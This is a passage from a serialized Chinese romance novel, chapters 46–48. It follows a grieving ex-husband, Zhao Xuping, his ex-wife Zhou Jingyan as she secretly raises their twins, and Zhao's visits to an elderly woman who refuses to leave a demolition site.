江东铭:【行行行,送呗,争取把房子送出去,最好连人带房一块儿送,看看周静烟收不收你这个三十好几的人形赠品】 赵叙平气不打一处来,手机扔中控台,盯着南门,眼也不敢眨,生怕眨眼之间,周静烟就进去了。 等到天黑也没瞧见周静烟身影,赵叙平降下车窗,心烦意乱抽了根烟,又给江东铭发消息:【问问你媳妇儿,她怎么还没回来?】 半晌江东铭才回:【刚才孩子闹,陪着玩了会儿。你不会自个儿问啊,被拉黑了?】 被他猜中,赵叙平板着脸胡诌:【没有,不想问】 江东铭:【艹,你可真有意思,都腆着脸找过去了,又在这儿装高冷,逼王就是逼王,真他妈一点儿没变】 赵叙平:【赶紧找你媳妇儿问去】 江东铭:【等等,我得委婉打探一下,就这么直接问,你是嫌老子命长?】 几分钟后,江东铭打来电话。 “你还在南门?”他问。 赵叙平:“嗯。” 江东铭语气带着几分无奈:“回来吧,没用了。” 赵叙平心里一紧:“什么意思?” 江东铭:“我媳妇儿说,周静烟前天就搬走了。” 赵叙平眉心紧锁:“搬哪去了?” 江东铭叹气:“问了,不肯说,防着我呢,怕我告诉你。” 赵叙平默不作声,喉咙忽然发堵。 江东铭也沉默片刻,说:“据我媳妇儿透露,周静烟去了南方,我问哪个城市,我媳妇儿拒绝透露更多。” 许久,赵叙平淡淡开口:“知道了。” 他挂断电话,望向窗外,夜色中,一栋栋公寓楼,一层层亮着灯。 再没人为他在深夜亮一盏灯了。 那个曾经为他亮灯的人,永远,永远,永远找不回来了。 他心中筑起的坚硬堡垒,顷刻间土崩瓦解。 赵叙平伏在方向盘上,紧咬着牙,那曾经被周静烟靠过无数次的肩膀,在抽泣中起起伏伏。 第46章 第46章【VIP】 赵叙平极少哭。 在外边打架挂彩不哭;回家挨揍不哭;遇到难事不哭…… 伊伊去世那会儿,他心里太疼,眼泪无法控制夺眶而出。 周静烟南下的消息,仿佛一把刺刀,狠狠戳穿他的身体,每个毛孔都灌满了疼痛。疼痛流经五脏六腑,流经四肢百骸,他痛得生不如死,死难瞑目。 所有人都夸周静烟好。她明明那么愚钝,可大家都夸她聪慧;明明那么叛逆,可大家都夸她乖巧。似乎她的愚钝和叛逆,统统留给他,给别人的,什么都好。 他一个人承受所有骂名,好像罪有应得,又好像罪不至此。 他从没说过爱她。 因为不敢认,所以不敢说。 他爱他的妹妹赵庭伊。在他的认知里,爱赵庭伊和爱周静烟,是两件相悖的事。 他由此得出结论:爱赵庭伊就不能爱周静烟。 今晚他忽然就明白了,亲情和爱情,是两回事。 他可以爱赵庭伊,也可以爱周静烟。哪怕赵庭伊被周静烟的弟弟间接害死,爱就是爱,即便掺了恨。 再恨也不能磨灭爱,只能让自己在爱恨中被这混沌不清的感情无尽折磨。 周静烟愚钝也好,聪慧也好,叛逆也好,乖巧也好——因为她是周静烟,所以他爱她。 许多年前,他在国外街边,听见店里传来歌声。 “那是我日夜思念,深深爱着的人呐。” 那首歌叫《老男孩》。 他日夜思念,深深爱着的人,早已离开。而他,早已不是男孩。 他已经三十五了。 他在二十七岁那年得到周静烟,又在三十四岁那年失去她。 她走得干脆,消失得彻底。 其实要查也简单,法子多得是,可他不想这样。 她铁了心要走,就算查到去了哪儿,然后呢?追过去吗?求她回来? 算了,他想。就像当初办离婚,盖戳前一秒,千言万语堵在心口,最后还是算了。 他觉着母亲说得挺对,分开对他俩都好。 过去他总以为自己对她已经足够好,可她不这么认为,才拼了命要离。既然如此,他最后能为她做的,就是放手。 彻底放手,还她自由。 也还自己自由。 从今往后,爱恨都纯粹,他不用夹在中间,备受煎熬。 赵叙平伏在方向盘上睡了会儿,迷迷糊糊醒来,感受着温柔的清风,仰头靠着椅背,望向皎皎明月。 她似清风,也如明月。一年又一年,岁月流逝于指缝,她是他永远握不住的梦。 坐累了,赵叙平下车走了走。走累了,又回到车里。 这样走走坐坐,循环往复,天就蒙蒙亮了。 江东铭打来电话,问他还好吗。 他笑着反问:“为什么不好?”嗓音沙哑,说得洒脱又轻松。 拉倒吧,江东铭心想,嘴上没戳破:“要不哥们儿陪陪你?” 他哼一声,语气嫌弃:“你特么能陪我干嘛?一会儿孩子闹了,一会儿老婆骂了,赶紧陪你老婆孩子去吧。” 江东铭笑着调侃:“哟,平哥吃醋啊?” “滚边儿去。” 赵叙平骂完挂断电话,开车回公司,冲了个澡,随便吃两口东西,开启了忙忙碌碌新一天。 周静烟没有去南方。 五月中旬,她开始显怀,肚子一天天大起来。 不能总靠宽松衣服遮肚子吧,她想。等到了后期,肚子越发大,肯定瞒不住,而且每天挺着大肚子上班,带学生很不方便,就算她自己觉得没什么,家长也怕出事,周静烟琢磨一番,决定暂停工作。 她找了个由头跟两边家长提离职,家长通情达理,虽然舍不得,却也没强留,与她约好,以后有机会一定要再回来教。 过了六月,周静烟考虑许久,决定离开京州。 她告诉沈琳,这里留有太多回忆,太容易让她触景生情,她想去一个新的地方,开始新的生活。 她苦着脸跟沈琳说这些时,心里其实并没有多难过。 算一算,跟赵叙平彻底分开的日子也不久,可不知为什么,那些关于他的记忆,竟像是上一世。 以前的周静烟,满心满脑都是他;现在的周静烟,满心满脑都是自己和孩子。 沈琳不知她大着肚子,当她事到如今还忘不掉赵叙平,再不舍也只能尊重她的决定。 离开前一天,沈琳来到她这儿,,吃完促膝长谈。 也不知怎么,沈琳总觉得她怪怪的,。 周静烟起身倒水,沈琳瞧着她,忽地闪过一个念头,眉心紧蹙。 周静烟倒了杯温水递给沈琳,见她愣愣盯着自己,抬?” 沈琳没接杯子,也没作声,目光移到周静烟肚子上。 她穿着休闲服,宽大又松垮,压根看不见肚子。 琳手里,笑着问:“老看我干嘛?” 沈琳盯跟着她肚子,沉默一会儿,冷不丁开口:“你换身衣服吧。” “啊?”周静烟愣住。 沈琳抬眼,目光挪到她脸上:“换条修身裙呗。” 周静烟笑容僵了片刻,故作轻松:“我现在不爱穿那种。” 沈琳:“穿吧,多好看啊,我爱看。” 周静烟脸开始发烫,抬手飞快扇了扇,嘴里念叨着热,端起自己杯子,仰头喝干里面的水,起身去接水,回来时,沈琳仍盯着她。 周静烟心虚得屏住呼吸,扭头看向窗外,耳边传来沈琳平静的声音。 “周静烟,你是不是怀孕了?” 她身子猛然一抖,水从杯里溢出。她慌忙抽出纸巾擦衣服,手中杯子被沈琳拿走,咣当放桌上。 “没怀孕就去换身衣服,反正这件也湿了。”沈琳淡淡开口。 她不禁颤了颤,头埋得老低,脸颊红透,声音又小又颤:“你怎么、怎么知道的?” 沈琳冷笑:“我自己怀过,当然看得出来。” 周静烟缩着脖子,抬眼怯怯看着她:“哇,好厉害啊!” 沈琳又气又想笑,双手叉腰,仰脸望了会儿天花板,摇摇头,看向周静烟。 “孩子谁的?” 周静烟不吱声。 沈琳抱起胳膊,语气越发的冷:“问你话呢,孩子谁的?” 见她始终沉默,沈琳哼笑一声:“赵叙平的吧?” 半晌,周静烟轻轻点头。 “我就知道。你哪有胆子跟别人生!”沈琳气得声儿都颤了,蹙眉瞧着她,又问,“几个月了?” 周静烟:“快七个月了。” 沈琳:“赵叙平知道么?” 周静烟摇头。 沈琳:“你也没打算跟他说?” 周静烟这才开口:“离都离了,没必要说这个……” 沈琳轻哼,上下打量她:“周静烟,你是不是跟钱有仇啊?知不知道一个孩子能让你从赵叙平那儿捞到多少钱?” 一个孩子能捞不少,俩孩子能捞更多,可就算能靠孩子成为女首富,她也不愿这么做,周静烟心想。 “赵叙平要是知道了,我俩就断不干净了。”她说。 沈琳难以理解:“以后他看见你带着孩子,不还是会知道?” 周静烟低头绞着手:“不会的,我都要去南方了,以后再也见不着了。” 沈琳:“万一呢?不怕一万,就怕万一!” 周静烟:“那我就说孩子是我跟别人生的。” 沈琳气笑了:“说你胆子大吧,你遇事儿就知道躲;说你胆子小吧,你连死都不怕!” 沉默一小会儿,周静烟摇头,声音轻飘飘:“他不会的。真要弄死我,早下手了,不会留我到今天。” 沈琳又笑一声:“你觉着你俩离了,他会念旧情?” 周静烟:“不会,他只是……不是那种人。” 沈琳:“哪种人?” 周静烟:“他其实挺善良的。” 沈琳噗嗤笑得好大声。 “我严重怀疑,赵叙平这辈子所有偏爱都给了你,以至于让你产生‘他是个善人’这种错觉。” 周静烟撇撇嘴,泪湿眼眶:“他哪有给我偏爱……” 沈琳摇头叹气,沉默一会儿,轻声感慨:“你俩啊,真不知道该说你俩什么好!” 她抱住周静烟,劝道:“烟烟,别走了,留在京州。” 不等周静烟开口,她又说道:“反正现在我也知道了,毕竟这是你的事儿,我做不了主,你非要生,我还能拦着不成?听我的,留在京州,以后孩子出生,我这个姨妈还能帮帮你们。” “可是——” “没什么‘可是’的,你在京州生活这么多年,去南方待得惯吗?就算待得惯,南方有你知根知底信得过靠得住的人吗?” 这也是周静烟所担心的。 她还想说什么,被沈琳按住手,抢在前头开口:“京州说大不大,说小不小,但你跟赵叙平已经彻底分开,说白了,只要别去他在的地儿溜达,一般来说很难碰上,所以留在这也没事儿。” 周静烟依然沉默。 这回沈琳没再劝了,而是问:“手头钱还够不够花?” 周静烟拿她当自己人,坦白道:“赵叙平让他秘书联系过我,说要给我财产补偿,我没要。不过他父母给了我三千万,我想着以后养孩子用钱多,就拿了他们给的卡。” 沈琳松了口气,拍着胸脯欣慰笑道:“你啊你,可算是干了件明白事儿!” 三天后,周静烟搬进老城区一栋旧楼里。 租的房子在一楼,三室一厅,装修简单,房东打扫得干净整洁,附近居民不算多,整体来说比较安静,离超市、医院都近,周静烟对这个房子极为满意。 搬家那天沈琳来过,赞她地方选得好,养胎养娃都方便。 沈琳离开前,周静烟再三叮嘱,千万别把她怀孕这事儿跟江东铭说漏嘴,也别让江东铭知道她现在住哪儿。 沈琳搂了搂她肩膀,笑道:“我就说你去了南方,这样就算以后街上偶遇,赵叙平也会以为自己认错了!” 周静烟佩服沈琳这脑子,噗嗤笑出声。 阳历九月九日,周静烟迎来了自己日思夜想,期盼已久的两个宝贝。 儿女双全,姐姐弟弟。 分娩那天,沈琳偷摸去医院看她,握着她的手哭了好久,一个劲夸她厉害,叹她不容易。 医生护士也夸她,说顺产生俩,已经很棒了。 她咧嘴笑了笑,累得说不出话。 宫缩时她没哭,生产时也没哭,这会儿大家围着她夸,她忽然鼻酸,忍不住落泪。 沈琳赶忙给她擦泪,一口一个“烟烟宝贝”哄着,她摇摇头,轻声告诉沈琳:“我很幸福。” 俩人一起看着婴儿床上的俩宝贝,一起幸福地落泪。 出院后,周静烟没住月子中心,怕万一被认识她和赵叙平的人看到,这事儿就瞒不住了。 她请了两个保姆,一个照顾自己,一个照顾孩子,沈琳常来看望他们。 三个月后,沈琳电话里告诉周静烟,暂时没法再过来,以前每次来这儿都鬼鬼祟祟,已经引起江东铭怀疑,那人以为她出轨了。 周静烟觉得好笑,又有些羡慕,让她以家庭为重,以后找机会再来,反正自己会常给她发孩子们的照片。 沈琳没让发,说江东铭这人占有欲特强,时不时会查手机,如果想看两个宝宝,她俩就连视频。 除夕夜,沈琳躲在浴室跟周静烟连上视频,原本怕她孤单,想安慰一番,见她在家里有保姆和孩子们陪伴,沈琳知道,任何安慰都是多余。 两个保姆对她和宝宝都好,放心不下她独自带娃,特意留下来陪她过年,她也知道感恩,给保姆们都包了大红包。 年初一,俩孩子穿上了周静烟亲手织的新毛衣,都是大红色,女儿那件心口有朵小花,儿子那件心口是个笑脸。 孩子穿上红红的衣服,肉嘟嘟的小脸蛋红扑扑,可爱得跟福娃似的。周静烟忍不住拍张照片发给沈琳,沈琳回了一大串感叹号,只夸可爱,恨自己不在,没能揉揉两张可爱的小肉脸。 周静烟撤回照片,嘱咐她记得删掉这段聊天记录,心下觉着好笑,她俩像是在搞地下工作,小心谨慎,神神秘秘。 凌晨,周静烟看着手机时钟变成00:01,不禁扬起唇角。 曾经再苦再难,不也活到了现在?不仅活得好好的,还多了两个亲人。 看着她的两个小宝贝,周静烟心里幸福满溢,自信爆棚。 成为一个母亲,一个负责任的母亲,这么不容易的事,她都能做得很好,还有什么事能将她难倒? 周静烟温柔亲吻儿女,起身离开房间,保姆带孩子们睡,她回到自己卧室。 躺床上睡不着,周静烟百无聊赖玩手机,刷到一条财富排行榜视频,才发现赵叙平已经成了国内首富。 那些与他有关的点滴记忆,瞬间涌上心头,周静烟慌了片刻,关掉手机,紧闭着眼硬逼自己睡觉。 越想睡,反而越睡不着,她长长叹气,起身靠在床头,任凭回忆涌现。 这是第二个没有他的新年。想他吗?遗憾吗?她自己也说不清心里什么感受。 失眠的夜晚太难熬,周静烟到底没忍住,打开手机,给沈琳发了条新年祝福。 很快,沈琳回复:【烟烟宝贝新年快乐!孩子们睡啦?】 周静烟:【嗯呢,你家宝宝呢?】 沈琳:【刚睡没多久,你怎么不睡?】 周静烟:【下午喝了咖啡,现在很兴奋】 怕沈琳细问,她不敢直说自己失眠,扯了个谎。 沈琳:【我也睡不着,咱俩正好聊聊】 俩人开始忆往昔。 聊着聊着,沈琳忽然提到:【高中散伙饭那次,记得吗?我醉得一塌糊涂,到处撒酒疯,看了别人拍的视频才知道有多丢人!但是真的好好笑!】 周静烟愣住,陷入回忆,脑海中浮现柴房,月光,赵叙平,还有那双微凉柔软的唇。 她晃晃脑袋,不许自己细想,脑袋晃得发晕也无济于事,满脑子都是那天晚上的事。 她给他唱《下雨天》,她强吻了他,她被他抱着吻了又吻…… 她忽然意识到,那时候,他们都好年轻。 一个十八岁,一个二十三。 转眼这么多年过去,恍然如梦。 她心中升起困惑:所谓的现实,真的是现实吗?现实会不会也是一场梦?如果现实真是一场梦,她能不能选择做一场清明梦? 在清明梦里为所欲为,让赵叙平想她想得发疯,爱她爱得要命。让赵叙平心甘情愿对她俯首称臣。 这晚,她做了一场梦,梦里有赵叙平。 她梦见离婚以后,赵叙平喝了很多很多酒,喝醉后一遍一遍唤她名字。还梦见赵叙平哭了,哭着跟她认错,涕泗横流,抱着她不肯撒手。 天亮醒来,周静烟靠在床头回味这个梦,心想:原来这就是传说中的“追妻火葬场”啊。 爽是真的爽,爽过了,也就那么回事儿。 赵叙平永远不可能如梦中那般,即便如此,她也不会跟他回到从前。 三十八岁那天,赵叙平照常上班下班,梁卓想给他过生日,被他拒了,工作应酬也推了,早早回家,吃母亲煮的长寿面。 面汤鲜美,面条筋道,赵叙平默默冲母亲竖起大拇指。 章芝纭笑着开口:“煎蛋够圆吧?我放模具里煎的,吃了这个蛋,生活圆圆满满。” 赵叙平愣了愣,又听母亲说道:“嗐,你爸又不在,咱俩没必要这么守规矩。” 赵叙平咧嘴:“您忍他很久了吧?” 章芝纭摆摆手:“可不嘛,规矩真多。” 赵叙平问:“爸呢?” 章芝纭:“跟着鱼友钓鱼去了,过两天回来。” 赵叙平乐了:“钓一辈子鱼,打半辈子空军。” 章芝纭跟着笑起来,压低声音:“这话可别当他面儿说,小心挨揍!” 赵叙平乐得不住耸肩,埋头想要吃面,又转过脸笑个不停。 章芝纭打心底里高兴,不禁红了眼眶。 赵叙平瞥见母亲这样,赶紧递去一张纸:“怎么哭了?” 章芝纭摇摇头,含泪笑道:“没事儿,妈就是很久没见你这么开心了,挺感慨的。” 赵叙平扬唇,夸她煮的面好吃,煎的蛋也香。 她故意板起脸,撇了撇嘴:“你还会说好话啊!” 赵叙平认真看着母亲:“实话,特好吃。” 章芝纭想都没想,脱口而出:“我这可是跟人学的,有秘方呢!” 赵叙平也想都没想便问:“跟谁学的?” 章芝纭蓦地顿住,目光从儿子脸上挪开,不作声了。 这个反应让赵叙平瞬间明白母亲的沉默意味着什么。 他脸上笑容散去,低头吃面,再没说过一句话。 夜里,江东铭打电话祝他生日快乐,他靠着卧室露台栏杆,仰脸缓缓吐出烟圈,笑了:“快乐什么啊快乐,都奔四了。” 江东铭严谨纠正:“还差两年呢。” 赵叙平:“那不也快了?” 江东铭:“奔四怎么了?男人四十一枝花。” 赵叙平乐呵呵骂道:“滚一边儿去,还一枝花,恶不恶心啊?老子不是花,老子是仙人掌。” 江东铭笑出声:“平哥也知道自个儿带刺啊?” 赵叙平:“带刺怎么了?扎着你了?” 江东铭没再耍贫嘴,语气变得认真:“明天一起吃饭。” 赵叙平:“行,叫上梁卓他们,你请客。” 江东铭:“打算宰我一顿是吧?” 赵叙平:“咱俩这关系,能是宰么?那叫财富共享。” 隔天一下班,赵叙平直奔饭店。 推开包间门,礼炮砰地一声炸开,亮闪闪的细小彩带落到赵叙平身上,大家齐刷刷喊道:“平哥生日快乐!永远快乐!” 赵叙平看着一张张熟面孔,颔首淡笑。 于他而言,快乐早已成为奢侈品。反正,这辈子就这么着吧。 他在江东铭身边坐下。 江东铭抬手拂掉他头上的细碎彩带,默默瞧他一会儿。 他皱起眉头,身子往旁边偏了偏,满脸戒备:“干嘛,爱上我了?” 江东铭在桌底下踹他:“滚蛋。” 他扭头跟梁卓说笑。 江东铭望着赵叙平侧脸,话到了嘴边又咽下,没告诉他,前天自己开车路过老城区,看见一女的,特像周静烟。 不过那女的一手牵着一孩子,想想怎么都不可能是她。 这事儿说给赵叙平听,只会给他添堵。 江东铭喝一口酒,拍拍赵叙平肩膀,笑了笑:“嘿,哥们儿,生日快乐。” 第47章 第47章【VIP】 凌晨,江东铭送赵叙平回父母那去。 赵叙平被两个佣人扶进电梯,章芝纭和江东铭聊了几句,出门送他,等他上了车,又将他叫住。 “东子,章姨想问你个事儿。” 江东铭坐在后座,降下车窗:“章姨,您说。” 章芝纭低头迟疑片刻,欲言又止。 江东铭笑了笑:“有事儿您尽管开口,我跟叙平这关系,比亲兄弟还亲。” 章芝纭俯身凑近车窗,压低声音问:“你媳妇儿不是跟静烟走得近么,这几年她跟你提过静烟没,说没说静烟过得怎么样?” 江东铭如实答道:“提得不多,叙平跟她刚离婚那会儿,她租沈琳房子住着,半年多就搬了,去南方了。” 章芝纭惊讶:“去南方了?” 江东铭:“是,我也挺意外的。您不知道?” 章芝纭面色失落,微微摇头:“她跟叙平离婚后,我约她出来见过一次,后面就没再见了,怕影响她心情。逢年过节她还是会给我和叙平他爸发几句祝福,我们也客气回一下,她不主动提近况,我们不好多问。” 江东铭想了想,说:“应该过得挺好的,沈琳没说过她出什么事儿,没消息就意味着还算顺利。” 这话有道理,章芝纭心里踏实了些,冲他挥挥手:“也是,谢谢你告诉阿姨这些。赶紧回去吧,早点儿休息。”说完,又想起什么,赶紧开口:“阿姨年纪大了,忍不住多说几句,你别嫌我唠叨。” 江东铭拿她当自己干妈,哪会嫌她烦,点头笑笑:“哪能啊,您只管说。” 章芝纭轻叹一声,眼眶微微泛红:“有句老话说烂了,我还是想说——你可千万要珍惜眼前人!别跟叙平似的,在一起时不珍惜,好好的感情给他作没了,分开又走不出来……” 江东铭心里也替赵叙平惋惜,沉默片刻,安慰道:“我看他这两年都没怎么着,不像头一年,往死里喝,应该是慢慢想开了。” 章芝纭:“是,一年比一年好些,可也不见他有多开心。” 江东铭:“嗐,他赚这么多钱,管这么多人,担这么多责任,不糟心就不错了。别说他,我现在都快抑郁了。” 章芝纭:“是么?那可得注意,前几天这儿有个孩子跳楼,说是重度抑郁。抑郁不是小问题,可千万要当回事儿。” 江东铭点头:“章姨放心,我自个儿好好调理。” 送走江东铭,章芝纭在夜色中站了几分钟才回去。 她来到儿子房间,看着熟睡中的儿子,轻抚他额头,像许多年前那样。 那时候他还小,在外边茬架,打得身上青一块紫一块,回来又挨他爹揍,额头被皮带抽出个印子,她怕他破相,跟丈夫大吵一通,所幸后来印子消了,儿子还是那么好看。 清早,章芝纭正喝着茶,见儿子走出电梯,招手示意他过来。 赵叙平走到母亲跟前,打了声招呼,说:“公司还有事儿,我先回去了,改天过来陪您。” 章芝纭:“吃了早饭再走。” 赵叙平摇头:“不饿。” 章芝纭瞧他片刻,叹气:“可别再折腾你这胃了,早晚折腾坏。” 赵叙平知道母亲担心他,也舍不得他,笑着点点头:“行,陪您吃早餐。” 章芝纭脸上阴转晴,起身走向厨房:“好嘞,妈给你下点儿面条!” 赵叙平叫住母亲:“别煮汤面,我不爱吃。” 章芝纭停下脚步,扭头,皱着眉瞧他:“前天还夸好吃呢,怎么又不爱吃了?” 赵叙平低头,沉默片刻,淡淡回一句:“就那么回事儿吧,也没多好吃。” 章芝纭忽然明白了,叹息着摇头:“吃碗面而已,别扭个什么劲儿!” 赵叙平心里烦,语气也不耐烦:“别做了,不想吃,要做就做别的。” 章芝纭回到他身边,默默看他一会儿,问:“你是跟我置气,还是跟静烟置气?” 赵叙平扭脸:“我跟自个儿置气,成么?” 章芝纭:“这都几年了,还不过去呢?” 赵叙平抬手一挥:“这事儿您甭管,过不过得去,跟您没关系。” 章芝纭气道:“怎么跟我没关系?你是我儿子,你高兴我高兴,你成天拉拉个脸,我心里头能好受?” 赵叙平转回脸来,看,我能这样么?” 章芝纭直喊冤给你煮碗面而已,还能闹成这样!” 的?以后别给我煮面,跟她有关的事都别跟我沾边儿,我俩早就没半点关系了。” 眼儿!” “我就是小心眼儿,怎么着?我就是不喜欢跟她有关的任何事,怎么着?” 章芝纭无奈叹气,点点头:“行行行,走吧,爱吃不吃,饿死得了。” 赵叙平转身大步离开。 黑着脸回公司,赵叙平看着助理送来的汤面,气得直接给扔了,打电话告诉助理,以后不许再给他买面。助力问他想吃什么,他说只要不是面,其他都行。 过了会儿助理送来一份蟹黄汤包,他吃了俩就没胃口了,放下筷子开始工作。 开完会准备午休,赵叙平接到秘书电话,说老城区那个拆迁项目,有家钉子户,怎么劝都不肯搬。 赵叙平走进办公室,坐椅子上,指尖敲了敲桌面:“加钱啊,实在不行多给点儿,这么点事儿都办不明白?” 秘书语气为难:“赵总,那老太太说给多少钱都不好使。” 赵叙平冷哼:“她就赖在那儿了呗?跟她说那是危房,再住下去会出人命。” 秘书:“这话我说过,老太太说大不了就死那儿,反正她死也不搬。” 赵叙平头痛扶额,太阳穴直突突。 他是真拿这种老顽固没招,长叹一声,说:“赶明儿我去会会她。” 暴力强拆不可取,自己硬着头皮上,晓之以情动之以理,看看能不能说服老太太。 第二天中午,赵叙平前往老城区,特意带了许多礼物上门,老太太没在家,打电话也没人接,等了快俩小时都没见着老太太,气得他一路板着脸回公司。 秘书告诉他,老太太丈夫没得早,含辛茹苦养大唯一的儿子,前些年儿子儿媳,孙子孙女,四个人丧命于一场车祸,打那以后,老太太就不太正常了,患上老年痴呆,一时清醒一时糊涂。 赵叙平听完不再那么生气,想着她也是个可怜人,找对方法,一定能将她劝走,到时候找一家环境良好的养老院给她养老送终,就当积德了。 七月,正值酷暑,天气干燥炎热,周静烟顶着大太阳出门拿快递。 自打搬到老城区这一带,她就没换过地方,这里住着方便,哪哪都好,唯一的缺点是必须去快递站取快递,不像离婚前,快递总能送到家。 一年前,周静烟给孩子们在附近幼儿园报了小小班,过完这个暑假,俩孩子就三岁了。 对于即将从小小班升到小班这件事,姐姐很自豪,逢人就说自己很快就是小班的大宝宝了,弟弟则只关注上了小班,自己还能不能继续当孩子王。 周静烟回家拆开快递,将两本绘画读物分别递给姐姐弟弟。 “来,姐姐读这本《我是小小纪律员》;弟弟读这本《好宝宝不打架》。” 姐姐迫不及待翻开读绘本,一字一句认真读出声。 孩子们两岁时,周静烟开始教他俩认字,学拼音,姐姐聪明又好学,性格稳重,沉得下心来学习,现在识字量远超同龄人,不认识的字也能熟练运用拼音拼读出来。 弟弟学习吊儿郎当,攻击性强,保护姐姐和当孩子王,是他最爱做的两件事。 不过弟弟脑子灵光,虽然没姐姐爱学习,学得也不如姐姐好,但也比同龄孩子懂得多,看东西过目不忘,学知识一点就通,周静烟今年的愿望之一,就是希望儿子能改掉粗心大意和热衷称王的毛病。 姐姐专心读绘本,弟弟随便翻了两页便把书扔了,在地毯上滚来滚去。 周静烟瞧着他那样儿就心烦,叉腰小声凶道:“周云生,不读书你干嘛呢!” 周云生从这头滚到那头,顺着地毯对角线滚啊滚,停不下来,笑着胡说八道:“我后背痒,滚一滚,就当地板给我挠挠后背了。” 周静烟指着儿子:“我看你不是后背痒,你是皮子痒!” 周云生一骨碌爬起来,跑进房间将门反锁,隔着门对外面“宣战”:“略略略!有本事来揍我呀!” 姐姐周听雨默默翻起白眼:“真是个癫公。” 周静烟笑出声,轻抚女儿脑袋:“这都上哪学的词儿啊?” 周听雨告诉她:“黎小荔就是这么骂王靖嵘的,因为他吃饭的时候忽然跳舞!” 周静烟乐得合不拢嘴,好奇问道:“那王靖嵘为什么吃着饭忽然跳舞啊?” 周听雨耸耸肩:“谁知道呢,可能就是发癫了吧,所以管他叫癫公!我看周云生也差不多。” 她扭头冲着弟弟躲的那间房,大喊一声“癫公”,紧闭的房门终于打开,弟弟从屋里跑出来,义正言辞指责她不仗义,平时自己在幼儿园辛辛苦苦保护她,她倒好,赐他一个这么难听外号。 周听雨有理有据:“谁叫你成天不好好学习?不学习,到处发癫,不是癫公是什么?” 周云生双手叉腰,跳着脚嚷道:“周听雨!我要跟你绝交!癫公就癫公,你还癫婆呢!” 周静烟在一旁“观战”,笑得肚子疼,眼泪都冒出来了。 这俩孩子时常让她感到困惑——到底是这一代孩子都这么聪明,还是她的两个宝贝智商太高? 别人她不清楚,但对比自己,这俩孩子让她觉得自己小时候笨得像块木头。 听着孩子们你一句我一句吵嘴,周静烟心下感慨:一路走来,日子并非一帆风顺,好在两个小家伙都健健康康,作为母亲,*她最大的愿望,就是孩子们能够平安长大。 “好了,停!”周静烟比出个“打住”的手势,“周云生,读绘本去!” 弟弟拿起自己那本书,盯着封面看了会儿,发出好长一声叹息。 “妈妈,我做不到。”他摇摇头,一本正经告诉周静烟。 周静烟:“什么意思?” 周云生:“我不是好宝宝,做不到不打架。” 周静烟急了,眉心紧蹙:“干嘛老打架呢?咱们生活在现代社会,咱们得做一个文明人!” 周云生眨眨那双漂亮的大眼睛:“我才不要当文明人,我要去动物园当猴子!” 周静烟盯着儿子的脸恍神片刻,仿佛在他脸上看到了另一个人。 她愣了愣,回过神,无奈深深叹息:“当猴子有什么好啊?” 周云生目光坚定:“我可不是当普通猴子,我要当猴王!” 周静烟戳戳他脑门儿:“还想当孙悟空啊你!” 周云生:“才不是呢,我就是我,不是孙悟空。我是跟孙悟空不一样的猴王。” 周静烟又往他脑门儿戳一下:“行吧,以后自己找座山去,占山为王。” 周云生嘿嘿笑起来,抓着她的手摇晃:“别以后了,妈妈,现在就带我出去吧,家里好闷啊!” 此时,周听雨已经默读完手里的小册子,抬头看向母亲:“妈妈,我也想出去,今天还没运动呢!” 周静烟眼前发黑:“外边儿三十五度啊宝宝们!” 简直是要她命。 孩子们一心想出去,一个继续摇晃她的手,一个亲她脸颊好几口,她就是铁打的心也融化了,起身去浴室用凉水冲了冲脸,打起精神带孩子们出门溜达。 “爬山就算了,妈妈怕中暑,咱们顺着这条路走走吧。” 林荫道上,周静烟一手牵一个,孩子们蹦蹦跶跶,叽叽喳喳。 一辆迈巴赫缓缓停在路边,车窗降下,露出一张英俊脸庞,略带沧桑。 驾驶位上的男人盯着他们娘仨,蓦地愣住,震惊片刻后,看向周静烟身旁两个小不点儿。 第48章 第48章【VIP】 七月初,赵叙平出了趟差,在外地买了许多特产,寄回来给家人朋友分,也给那位钉子户老太太留了几份。 回京州他立马赶去见老太太,拎着大包小包礼物上门,让人意想不到的是,老太太非但没轰他走,反倒把他认成自己儿子,一手紧紧抓住他胳膊,一手抹泪,哭着埋怨怎么这么久都不回家。 赵叙平心里挺不是滋味,什么也没解释,顺着老太太的话演下去,说自己工作忙,最近才有空来看她。 老太太又问媳妇孩子怎么没跟来,赵叙平想了想,她孙子孙女没的时候,一个四岁,一个二岁,便说道:“幼儿园没放假,灵灵在家伺候他俩。” 老太太一家他都查过,来之前特意看了遍资料,记住每个人的名字。 老太太皱着眉打量他:“你也真是,老让灵灵照顾孩子,真把人当保姆了?” 赵叙平摸摸后脑勺:“平时我也帮着带,今儿不是要来看您么。” 老太太叹气:“当初不让你去深城,死活不听,跑那么老远,回来一趟多费劲呐。你说要是听我话留在京州,我还能帮你俩带带孩子!” 赵叙平脑中回忆那份资料,笑了笑:“嗐,灵灵家在深城,不乐意过来,我有什么招儿。” 他给老太太倒了杯水。老太太拿起他出差买回来的几份特产,戴上老花镜眯着眼仔细看,“啧”一声,又数落起他来。 “这糕那糕的,咱这儿稻香村什么糕没有?成天乱花钱。” “要不了多少钱,这些可比稻香村卖得便宜。”赵叙平买东西很少看价,压根没注意花了多少,随口胡诌。 “是么?那还挺好。”听他这么说,老太太脸上有了笑容。 赵叙平拆开一盒包装,递给老太太一块芡实糕:“尝尝软乎么,您不爱吃甜的,我特意买的无糖款。” 老太太尝一口,笑着点头:“软乎,真软乎,好吃,比稻香村的好吃。”又冲他露出两排白牙:“我这假牙不错吧?” 赵叙平竖起大拇指:“显得您特精神。” 老太太乐开花:“那是,老娘我年轻那会儿,可以说是风华绝代!” 赵叙平脑袋伸过去,小声八卦:“追您的人不少吧?” 老太太也凑过去,脑袋与他挨近:“不少?呵,那可太多了!” 说完,老太太靠在椅子上,微微侧着头,望向别处追忆往昔。 “你爸刚没那年,有个王八蛋看我年纪轻轻拉扯个孩子,以为老娘好欺负,成天想占我便宜,我可受不了这气,有一回从厨房拎着菜刀出来,他让我别冲动,千万别轻生,我说轻什么生呐,老娘今天剁的人是你!给那怂货吓得立马跑了! “后来啊,你张叔叔,郑叔叔,吴伯伯总上咱家帮忙,我知道,他们对我都有意思,也都是好人,可我心里除了你爸,再住不进别人。” 赵叙平心下感慨万千,沉默片刻,问:“您跟我爸特相爱,是么?” 老太太仰脸望着天花板,皱眉想了一会儿才开口:“我俩不怎么吵,吵也不记仇,要么他哄哄我,要么我哄哄他,互相给个台阶下,不出两天就好了。相不相爱,我也不好说,反正我很爱你爸,你爸从没说过爱我。” 赵叙平:“他都跟您结婚生子了,你俩也不怎么吵架,吵完他还会哄您,怎么不算是爱?” 